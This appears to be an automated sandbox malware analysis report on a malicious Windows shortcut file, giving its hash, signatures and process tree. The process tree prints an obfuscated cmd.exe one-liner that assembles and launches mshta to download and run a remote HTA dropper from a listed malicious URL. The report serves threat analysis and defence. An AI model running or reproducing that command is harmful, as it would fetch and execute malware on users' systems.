Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:36

General

  • Target
    DOC-IQWMID.lnk
  • Size 2KB
  • Sample260804-kh3a5swamf
  • SHA256 74e1b8f273f6e2bf1c72cca199f999728e5a06474f9cdc623aca741fe0082108
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-IQWMID.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3452
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set YiF=oldfmewsqicpasmepold&set So=logrgffjpfgclmtkihlgklog&set mLRdv=infbfhlcinf&set AOQy=bakefogjbak&set sVaYM=ecstae3&&set DNpKv=18ru&&set NO=7t7&set ONla=xjhmsh&&set nKAat=ohtuy5&&set lRFu=7jya7hq&set jBI=dbgmvxlpussuggxablidbg&set Tg=datkdxdjjwlxwhxdjudat&set uXV=cacheecibdirpzmsqvpcache&&set mQe=h@ttps:@/@/ma-pd@f@fi@[email protected]@t/@h@/e@s@[email protected]@hp?r=3@91469@FB@5@D82@DB&&start /b !ONla:~3,2!!nKAat:~1,2!!lRFu:~3,1! !mQe:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4464
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2712
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2976

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads